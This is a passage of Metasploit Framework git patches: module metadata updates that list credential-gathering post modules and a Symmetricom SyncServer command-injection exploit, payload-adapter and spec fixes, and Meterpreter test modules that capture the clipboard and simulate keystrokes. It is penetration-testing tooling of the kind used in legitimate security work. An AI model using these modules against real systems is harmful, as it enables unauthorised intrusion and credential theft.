[ "Windows XP SP3" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/exploits/windows/local/virtual_box_guest_additions.rb", "is_install_path": true, "ref_name": "windows/local/virtual_box_guest_additions", @@ -224941,7 +224957,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/multi/gather/apple_ios_backup.rb", "is_install_path": true, "ref_name": "multi/gather/apple_ios_backup", @@ -225649,7 +225665,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/multi/gather/firefox_creds.rb", "is_install_path": true, "ref_name": "multi/gather/firefox_creds", @@ -229298,7 +229314,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/escalate/ms10_073_kbdlayout.rb", "is_install_path": true, "ref_name": "windows/escalate/ms10_073_kbdlayout", @@ -229335,7 +229351,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/escalate/screen_unlock.rb", "is_install_path": true, "ref_name": "windows/escalate/screen_unlock", @@ -229377,7 +229393,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/escalate/unmarshal_cmd_exec.rb", "is_install_path": true, "ref_name": "windows/escalate/unmarshal_cmd_exec", @@ -230123,7 +230139,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/gather/credentials/domain_hashdump.rb", "is_install_path": true, "ref_name": "windows/gather/credentials/domain_hashdump", @@ -233301,7 +233317,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/gather/dumplinks.rb", "is_install_path": true, "ref_name": "windows/gather/dumplinks", @@ -234274,7 +234290,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/gather/enum_files.rb", "is_install_path": true, "ref_name": "windows/gather/enum_files", @@ -234522,7 +234538,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/gather/enum_muicache.rb", "is_install_path": true, "ref_name": "windows/gather/enum_muicache", @@ -234697,7 +234713,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/gather/enum_prefetch.rb", "is_install_path": true, "ref_name": "windows/gather/enum_prefetch", @@ -235200,7 +235216,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/gather/file_from_raw_ntfs.rb", "is_install_path": true, "ref_name": "windows/gather/file_from_raw_ntfs", @@ -235464,7 +235480,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/gather/forensics/recovery_files.rb", "is_install_path": true, "ref_name": "windows/gather/forensics/recovery_files", @@ -235583,7 +235599,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/gather/local_admin_search_enum.rb", "is_install_path": true, "ref_name": "windows/gather/local_admin_search_enum", @@ -236090,7 +236106,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/gather/smart_hashdump.rb", "is_install_path": true, "ref_name": "windows/gather/smart_hashdump", @@ -236514,7 +236530,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-12-18 10:56:46 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/manage/dell_memory_protect.rb", "is_install_path": true, "ref_name": "windows/manage/dell_memory_protect", @@ -236668,7 +236684,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/manage/enable_support_account.rb", "is_install_path": true, "ref_name": "windows/manage/enable_support_account", @@ -237390,7 +237406,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/manage/portproxy.rb", "is_install_path": true, "ref_name": "windows/manage/portproxy", @@ -237536,7 +237552,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/manage/pptp_tunnel.rb", "is_install_path": true, "ref_name": "windows/manage/pptp_tunnel", @@ -237754,7 +237770,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/manage/rid_hijack.rb", "is_install_path": true, "ref_name": "windows/manage/rid_hijack", @@ -238173,7 +238189,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/manage/wdigest_caching.rb", "is_install_path": true, "ref_name": "windows/manage/wdigest_caching", @@ -238281,7 +238297,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2023-05-25 12:45:30 +0000", "path": "/modules/post/windows/recon/outbound_ports.rb", "is_install_path": true, "ref_name": "windows/recon/outbound_ports", From 548d7e76a8767e8357e355b59fe843ed29edf72c Mon Sep 17 00:00:00 2001 From: bwatters Date: Tue, 13 Jun 2023 16:01:58 -0500 Subject: [PATCH 385/415] Fix accidental diff --- lib/msf/core/payload/adapter/fetch.rb | 17 ----------------- 1 file changed, 17 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index deb5c687572ac..6a6d6d9b233ec 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -30,23 +30,6 @@ def initialize(*args) end -<<<<<<< HEAD - def check_srvhost - if Rex::Socket.is_ip_addr?(srvhost) && Rex::Socket.addr_atoi(srvhost) == 0 - raise ArgumentError, 'You must set FETCH_SRVHOST to a routable IP' - end - end - -======= - def compatible?(mod) - if mod.type == Msf::MODULE_PAYLOAD && (mod.class.const_defined?(:CachedSize) && mod.class::CachedSize != :dynamic) && (mod.class::CachedSize >= 120_000) # echo does not have an unlimited amount of space - return false - end - super - end - - ->>>>>>> abf94ec9af (Add routable address type) # If no fetch URL is provided, we generate one based off the underlying payload data # This is because if we use a randomly-generated URI, the URI generated by venom and # Framework will not match. This way, we can build a payload in venom and a listener From cabae172f963b03585622d79b757e4f227f55af1 Mon Sep 17 00:00:00 2001 From: bwatters Date: Tue, 13 Jun 2023 16:03:55 -0500 Subject: [PATCH 386/415] Remove superfluous setup_handler --- lib/msf/core/payload/adapter/fetch.rb | 4 ---- 1 file changed, 4 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 6a6d6d9b233ec..0250ce393ee68 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -123,10 +123,6 @@ def handle_connection(conn, opts = {}) super end - def setup_handler - super - end - def srvhost datastore['FETCH_SRVHOST'] end From 553540134563d5276487235e6f6a08460f48567b Mon Sep 17 00:00:00 2001 From: space-r7 Date: Tue, 13 Jun 2023 17:05:30 -0500 Subject: [PATCH 387/415] add exploit rank --- modules/exploits/linux/http/symmetricom_syncserver_rce.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/exploits/linux/http/symmetricom_syncserver_rce.rb b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb index 70edd254b6c9b..f95a7b97d9899 100644 --- a/modules/exploits/linux/http/symmetricom_syncserver_rce.rb +++ b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb @@ -4,6 +4,8 @@ ## class MetasploitModule < Msf::Exploit + Rank = ExcellentRanking + include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML From efd49f07b07b02c6dcf2d8e37db54db75d070bd6 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Tue, 13 Jun 2023 17:15:19 -0500 Subject: [PATCH 388/415] update migration calls in spec As of Rails 7.0.5 the `migrations_paths` are called once in spec run --- spec/support/shared/examples/msf/db_manager/migration.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 4b6ab82161780..1b3a8c2d8dc92 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -33,7 +33,7 @@ def migrate it 'should return an ActiveRecord::MigrationContext with known migrations' do migrations_paths = [File.expand_path("../../../../../file_fixtures/migrate", __dir__)] - expect(ActiveRecord::Migrator).to receive(:migrations_paths).and_return(migrations_paths).exactly(2).times + expect(ActiveRecord::Migrator).to receive(:migrations_paths).and_return(migrations_paths).exactly(1).times result = migrate expect(result.size).to eq 1 expect(result[0].name).to eq "TestDbMigration" From 968a151de998da66d194b8dbe95add311a67b113 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 13 Jun 2023 17:37:51 -0500 Subject: [PATCH 389/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 111 ++++++++++++++++++++++++++++++++++ 1 file changed, 111 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 5cb64e72b0435..93c886187912d 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -41128,6 +41128,55 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_scanner/misc/rocketmq_version": { + "name": "Apache RocketMQ Version Scanner", + "fullname": "auxiliary/scanner/misc/rocketmq_version", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "h00die", + "Malayke" + ], + "description": "Version scanner for the Apache RocketMQ product.", + "references": [ + "URL-https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT/blob/main/check.py", + "URL-https://github.com/apache/rocketmq" + ], + "platform": "", + "arch": "", + "rport": 9876, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2023-06-08 16:38:22 +0000", + "path": "/modules/auxiliary/scanner/misc/rocketmq_version.rb", + "is_install_path": true, + "ref_name": "scanner/misc/rocketmq_version", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + + ], + "Reliability": [ + + ], + "SideEffects": [ + + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_scanner/misc/rosewill_rxs3211_passwords": { "name": "Rosewill RXS-3211 IP Camera Password Retriever", "fullname": "auxiliary/scanner/misc/rosewill_rxs3211_passwords", @@ -71568,6 +71617,68 @@ "session_types": false, "needs_cleanup": null }, + "exploit_linux/http/symmetricom_syncserver_rce": { + "name": "Symmetricom SyncServer Unauthenticated Remote Command Execution", + "fullname": "exploit/linux/http/symmetricom_syncserver_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2022-08-31", + "type": "exploit", + "author": [ + "Steve Campbell", + "Justin Fatuch Apt4hax", + "Robert Bronstein" + ], + "description": "This module exploits an unauthenticated command injection vulnerability in /controller/ping.php.\n The S100 through S350 (End of Life) models should be vulnerable to\n unauthenticated exploitation due to a session handling vulnerability.\n Later models require authentication which is not provided in this module because we can't test it.\n The command injection vulnerability is patched in the S650 v2.2 (CVE-2022-40022).\n Run 'check' first to determine if vulnerable.\n The server limits outbound ports. Ports 25 and 80 TCP were successfully used for SRVPORT\n and LPORT while testing this module.", + "references": [ + "CVE-2022-40022", + "URL-https://nvd.nist.gov/vuln/detail/CVE-2022-40022" + ], + "platform": "Linux", + "arch": "x86, x64", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Automatic" + ], + "mod_time": "2023-06-13 17:05:30 +0000", + "path": "/modules/exploits/linux/http/symmetricom_syncserver_rce.rb", + "is_install_path": true, + "ref_name": "linux/http/symmetricom_syncserver_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_linux/http/synology_dsm_sliceupload_exec_noauth": { "name": "Synology DiskStation Manager SLICEUPLOAD Remote Command Execution", "fullname": "exploit/linux/http/synology_dsm_sliceupload_exec_noauth", From 21b2e3a5977fdf235797e27c9720393f2c0f3cf1 Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Wed, 14 Jun 2023 11:14:02 +0100 Subject: [PATCH 390/415] Fix python meterpreter crashing when extracting osx network configuration --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 336efa690d509..788651d88a1de 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -32,7 +32,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 2.0.136) + metasploit-payloads (= 2.0.137) metasploit_data_models metasploit_payloads-mettle (= 1.0.20) mqtt @@ -258,7 +258,7 @@ GEM activemodel (~> 7.0) activesupport (~> 7.0) railties (~> 7.0) - metasploit-payloads (2.0.136) + metasploit-payloads (2.0.137) metasploit_data_models (6.0.2) activerecord (~> 7.0) activesupport (~> 7.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index e368aa070c3c9..9d89268e1fc83 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -72,7 +72,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '2.0.136' + spec.add_runtime_dependency 'metasploit-payloads', '2.0.137' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.20' # Needed by msfgui and other rpc components From d414eea08771c5771c9df94b08c39c4a71ff08de Mon Sep 17 00:00:00 2001 From: adfoster-r7 Date: Thu, 1 Jun 2023 13:17:27 +0100 Subject: [PATCH 391/415] Add appropriate skips to post test modules --- test/modules/post/test/extapi.rb | 230 ++++++++---------- test/modules/post/test/meterpreter.rb | 3 +- test/modules/post/test/railgun.rb | 11 +- .../post/test/railgun_reverse_lookups.rb | 4 + test/modules/post/test/registry.rb | 4 + test/modules/post/test/services.rb | 23 +- 6 files changed, 146 insertions(+), 129 deletions(-) diff --git a/test/modules/post/test/extapi.rb b/test/modules/post/test/extapi.rb index 7befef97693af..2867e3d417fab 100644 --- a/test/modules/post/test/extapi.rb +++ b/test/modules/post/test/extapi.rb @@ -30,8 +30,8 @@ def setup vprint_status("Loading extapi extension...") begin session.core.use("extapi") - rescue Errno::ENOENT - print_error("This module is only available in a windows meterpreter session.") + rescue Errno::ENOENT, Rex::Post::Meterpreter::ExtensionLoadError + print_status("This module is only available in a windows meterpreter session.") return end end @@ -40,174 +40,160 @@ def setup end def test_clipboard_management + return skip('session platform is not windows') unless session.platform == 'windows' + vprint_status("Starting clipboard management tests") - services = nil - if session.commands.include? "extapi_clipboard_get_data" - ret = false - it "should return an array of clipboard data" do - clipboard = session.extapi.clipboard.get_data(false) + it "should return an array of clipboard data" do + return skip('session does not support COMMAND_ID_EXTAPI_CLIPBOARD_GET_DATA') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_CLIPBOARD_GET_DATA) - if clipboard && clipboard.any? && clipboard.first[:type] - vprint_status("Clipboard: #{clipboard}") - ret = true - end + ret = false + clipboard = session.extapi.clipboard.get_data(false) - ret + if clipboard && clipboard.any? && clipboard.first[:type] + vprint_status("Clipboard: #{clipboard}") + ret = true end - if session.railgun.user32 - it "should return clipboard jpg dimensions" do - ret = false + ret + end - # VK_PRINTSCREEN 154 Maybe needed on XP? - # VK_SNAPSHOT 44 - session.railgun.user32.keybd_event(44, 0, 0, 0) - session.railgun.user32.keybd_event(44, 0, 'KEYEVENTF_KEYUP', 0) + it "should return clipboard jpg dimensions" do + return skip("Session doesn't implement railgun.user32, skipping jpg test") unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API) && session.railgun.user32 - clipboard = session.extapi.clipboard.get_data(false) - ret = clipboard && clipboard.first && (clipboard.first[:type] == :jpg) && clipboard.first[:width] - end - else - print_status("Session doesn't implement railgun.user32, skipping jpg test") - end + # VK_PRINTSCREEN 154 Maybe needed on XP? + # VK_SNAPSHOT 44 + session.railgun.user32.keybd_event(44, 0, 0, 0) + session.railgun.user32.keybd_event(44, 0, 'KEYEVENTF_KEYUP', 0) - if session.commands.include? "extapi_clipboard_set_data" - ret = false + clipboard = session.extapi.clipboard.get_data(false) + ret = clipboard && clipboard.first && (clipboard.first[:type] == :jpg) && clipboard.first[:width] + ret + end - it "should set clipboard text" do - ret = false - text = Rex::Text.rand_text_alphanumeric(1024) - ret = session.extapi.clipboard.set_text(text) + it "should set clipboard text" do + return skip('session does not support COMMAND_ID_EXTAPI_CLIPBOARD_SET_DATA') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_CLIPBOARD_SET_DATA) - if ret - clipboard = session.extapi.clipboard.get_data(false) - ret = clipboard && clipboard.first && (clipboard.first[:type] == :text) && (clipboard.first[:data] == text) - end + text = Rex::Text.rand_text_alphanumeric(1024) + ret = session.extapi.clipboard.set_text(text) - ret - end - else - vprint_status("Session doesn't implement extapi_clipboard_set_data, skipping test") - end - - it "should download clipboard text data" do - ret = false - text = Rex::Text.rand_text_alphanumeric(1024) - ret = session.extapi.clipboard.set_text(text) - clipboard = session.extapi.clipboard.get_data(true) + if ret + clipboard = session.extapi.clipboard.get_data(false) ret = clipboard && clipboard.first && (clipboard.first[:type] == :text) && (clipboard.first[:data] == text) end - if session.railgun.user32 - it "should download clipboard jpg data" do - ret = false - - # VK_PRINTSCREEN 154 Maybe needed on XP? - # VK_SNAPSHOT 44 - session.railgun.user32.keybd_event(44, 0, 0, 0) - session.railgun.user32.keybd_event(44, 0, 'KEYEVENTF_KEYUP', 0) - - clipboard = session.extapi.clipboard.get_data(true) - if clipboard && clipboard.first && (clipboard.first[:type] == :jpg) && !(clipboard.first[:data].empty?) - # JPG Magic Bytes - ret = (clipboard.first[:data][0, 2] == "\xFF\xD8") - end - - ret - end - else - print_status("Session doesn't implement railgun.user32, skipping download_jpg test") + ret + end + + it "should download clipboard text data" do + return skip('session does not support COMMAND_ID_EXTAPI_CLIPBOARD_SET_DATA') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_CLIPBOARD_SET_DATA) + + text = Rex::Text.rand_text_alphanumeric(1024) + ret = session.extapi.clipboard.set_text(text) + clipboard = session.extapi.clipboard.get_data(true) + ret = clipboard && clipboard.first && (clipboard.first[:type] == :text) && (clipboard.first[:data] == text) + ret + end + + it "should download clipboard jpg data" do + return skip("Session doesn't implement railgun.user32, skipping download_jpg test") unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API) && session.railgun.user32 + + ret = false + + # VK_PRINTSCREEN 154 Maybe needed on XP? + # VK_SNAPSHOT 44 + session.railgun.user32.keybd_event(44, 0, 0, 0) + session.railgun.user32.keybd_event(44, 0, 'KEYEVENTF_KEYUP', 0) + + clipboard = session.extapi.clipboard.get_data(true) + if clipboard && clipboard.first && (clipboard.first[:type] == :jpg) && !(clipboard.first[:data].empty?) + # JPG Magic Bytes + ret = (clipboard.first[:data][0, 2] == "\xFF\xD8") end - else - print_status("Session doesn't implement extapi_clipboard_get_data, skipping test") + + ret end end def test_service_management + return skip('session platform is not windows') unless session.platform == 'windows' + vprint_status("Starting service management tests") services = nil - if session.commands.include? "extapi_service_enum" - ret = false - it "should return an array of services" do - services = session.extapi.service.enumerate + it "should return an array of services" do + return skip('session does not support COMMAND_ID_EXTAPI_SERVICE_ENUM') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_SERVICE_ENUM) - if services && services.any? && services.first[:name] - vprint_status("First service: #{services.first}") - ret = true - end + services = session.extapi.service.enumerate - ret + if services && services.any? && services.first[:name] + vprint_status("First service: #{services.first}") + ret = true end - if session.commands.include? "extapi_service_query" - ret = false + ret + end - it "should return service information" do - service = session.extapi.service.query(services.first[:name]) - vprint_status("Service info: #{service}") - if service && service[:starttype] - ret = true - end + it "should return service information" do + return skip('session does not support COMMAND_ID_EXTAPI_SERVICE_QUERY') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_SERVICE_QUERY) - ret - end - else - print_status("Session doesn't implement extapi_service_query, skipping test") + service = session.extapi.service.query(services.first[:name]) + vprint_status("Service info: #{service}") + if service && service[:starttype] + ret = true end - else - print_status("Session doesn't implement extapi_service_enum, skipping test") + + ret end end def test_desktop_windows_management + return skip('session platform is not windows') unless session.platform == 'windows' + vprint_status("Starting desktop windows management tests") windows = nil - if session.commands.include? "extapi_window_enum" - ret = false - it "should return an array of windows" do - windows = session.extapi.window.enumerate(false, nil) + it "should return an array of windows" do + return skip('session does not support COMMAND_ID_EXTAPI_WINDOW_ENUM') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_WINDOW_ENUM) - if windows && windows.any? && windows.first[:handle] - vprint_status("First window: #{windows.first}") - ret = true - end + windows = session.extapi.window.enumerate(false, nil) - ret + if windows && windows.any? && windows.first[:handle] + vprint_status("First window: #{windows.first}") + ret = true end - it "should return an array including unknown windows" do - ret = false - windows = session.extapi.window.enumerate(true, nil) + ret + end + + it "should return an array including unknown windows" do + return skip('session does not support COMMAND_ID_EXTAPI_WINDOW_ENUM') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_WINDOW_ENUM) - if windows && windows.any? - unknowns = windows.select { |w| w[:title] == "" } - ret = !unknowns.empty? - end + ret = false + windows = session.extapi.window.enumerate(true, nil) - ret + if windows && windows.any? + unknowns = windows.select { |w| w[:title] == "" } + ret = !unknowns.empty? end + ret + end + + it "should return an array of a windows children" do + return skip('session does not support COMMAND_ID_EXTAPI_WINDOW_ENUM') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_WINDOW_ENUM) + + windows = session.extapi.window.enumerate(true, nil) parent = windows.select { |w| w[:title] =~ /program manager/i } + return skip("Unable to find a suitable parent, skipping test") unless parent && parent.first - if parent && parent.first - it "should return an array of a windows children" do - ret = false - children = session.extapi.window.enumerate(true, parent.first[:handle]) - if children && children.any? - vprint_status("First child: #{children.first}") - ret = true - end - - ret - end - else - print_status("Unable to find a suitable parent, skipping test") + ret = false + children = session.extapi.window.enumerate(true, parent.first[:handle]) + if children && children.any? + vprint_status("First child: #{children.first}") + ret = true end - else - print_status("Session doesn't implement extapi_window_enum, skipping test") + ret end end end diff --git a/test/modules/post/test/meterpreter.rb b/test/modules/post/test/meterpreter.rb index 8e7bec8ca8045..d2332bce41092 100644 --- a/test/modules/post/test/meterpreter.rb +++ b/test/modules/post/test/meterpreter.rb @@ -111,8 +111,7 @@ def test_sys_config def test_net_config unless (session.commands.include? Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_NET_CONFIG_GET_INTERFACES) - vprint_status("This meterpreter does not implement get_interfaces, skipping tests") - return + return skip("This meterpreter does not implement get_interfaces, skipping tests") end vprint_status("Starting networking tests") diff --git a/test/modules/post/test/railgun.rb b/test/modules/post/test/railgun.rb index 1d0a4f4a368e9..f4c9a2c352d96 100644 --- a/test/modules/post/test/railgun.rb +++ b/test/modules/post/test/railgun.rb @@ -23,7 +23,8 @@ def initialize(info = {}) end def test_api_function_calls_libc - return unless session.platform == 'linux' || session.platform == 'osx' + return skip('target is not linux or osx') unless session.platform == 'linux' || session.platform == 'osx' + return skip('session does not support COMMAND_ID_STDAPI_RAILGUN_API') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API) buffer = nil buffer_size = 128 @@ -91,17 +92,21 @@ def test_api_function_calls_libc end def test_api_function_file_info_windows - return unless session.platform == 'windows' + return skip('session platform is not windows') unless session.platform == 'windows' + return skip('session does not support COMMAND_ID_STDAPI_RAILGUN_API') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API) it "Should retrieve the win32k file version" do path = expand_path('%WINDIR%\\system32\\win32k.sys') major, minor, build, revision, brand = file_version(path) + # XXX: These values should be asserted - as in this scenario the values are `nil` + # https://github.com/rapid7/metasploit-framework/commit/99e576d023cba66fa898d9ce3b52a52201f0f250 true end end def test_api_function_calls_windows - return unless session.platform == 'windows' + return skip('session platform is not windows') unless session.platform == 'windows' + return skip('session does not support COMMAND_ID_STDAPI_RAILGUN_API') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API) it "Should include error information in the results" do ret = true diff --git a/test/modules/post/test/railgun_reverse_lookups.rb b/test/modules/post/test/railgun_reverse_lookups.rb index f1db5881630cf..68897474fce40 100644 --- a/test/modules/post/test/railgun_reverse_lookups.rb +++ b/test/modules/post/test/railgun_reverse_lookups.rb @@ -53,6 +53,8 @@ def lookup_error(err_code, filter_regex = nil) end def test_static + return skip('session does not support COMMAND_ID_STDAPI_RAILGUN_API') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API) + it "should return a constant name given a const and a filter" do ret = true results = select_const_names(4, /^SERVICE/) @@ -83,6 +85,8 @@ def test_static end def test_datastore + return skip('session does not support COMMAND_ID_STDAPI_RAILGUN_API') unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API) + if (datastore["WIN_CONST"]) it "should look up arbitrary constants" do ret = true diff --git a/test/modules/post/test/registry.rb b/test/modules/post/test/registry.rb index 636a113da9d3e..8922e4a0ab777 100644 --- a/test/modules/post/test/registry.rb +++ b/test/modules/post/test/registry.rb @@ -32,6 +32,8 @@ def initialize(info = {}) end def test_0_registry_read + return skip('session platform is not windows') unless session.platform == 'windows' + it "should evaluate key existence" do k_exists = registry_key_exist?(%q#HKCU\Environment#) k_dne = registry_key_exist?(%q#HKLM\\Non\Existent\Key#) @@ -133,6 +135,8 @@ def test_0_registry_read end def test_1_registry_write + return skip('session platform is not windows') unless session.platform == 'windows' + it "should create keys" do ret = registry_createkey(%q#HKCU\test_key#) end diff --git a/test/modules/post/test/services.rb b/test/modules/post/test/services.rb index 3c8b498c8f277..b0d42adaeef1b 100644 --- a/test/modules/post/test/services.rb +++ b/test/modules/post/test/services.rb @@ -41,6 +41,8 @@ def initialize(info = {}) end def test_start + return skip('session platform is not windows') unless session.platform == 'windows' + it "should start #{datastore["SSERVICE"]}" do ret = true results = service_start(datastore['SSERVICE']) @@ -63,6 +65,8 @@ def test_start end def test_list + return skip('session platform is not windows') unless session.platform == 'windows' + it "should list services" do ret = true results = service_list @@ -76,6 +80,8 @@ def test_list end def test_info + return skip('session platform is not windows') unless session.platform == 'windows' + it "should return info on a given service #{datastore["QSERVICE"]}" do ret = true results = service_info(datastore['QSERVICE']) @@ -94,6 +100,8 @@ def test_info end def test_create + return skip('session platform is not windows') unless session.platform == 'windows' + it "should create a service #{datastore["NSERVICE"]}" do mode = case datastore["MODE"] when "disable"; START_TYPE_DISABLED @@ -133,6 +141,8 @@ def test_create end def test_status + return skip('session platform is not windows') unless session.platform == 'windows' + it "should return status on a given service #{datastore["QSERVICE"]}" do ret = true results = service_status(datastore['QSERVICE']) @@ -148,12 +158,15 @@ def test_status end def test_change + return skip('session platform is not windows') unless session.platform == 'windows' + service_name = "a" << Rex::Text.rand_text_alpha(5) display_name = service_name - it "should modify config on a given service #{service_name}" do + it "should modify config on a given service" do ret = true + vprint_status("creating new service #{service_name}") results = 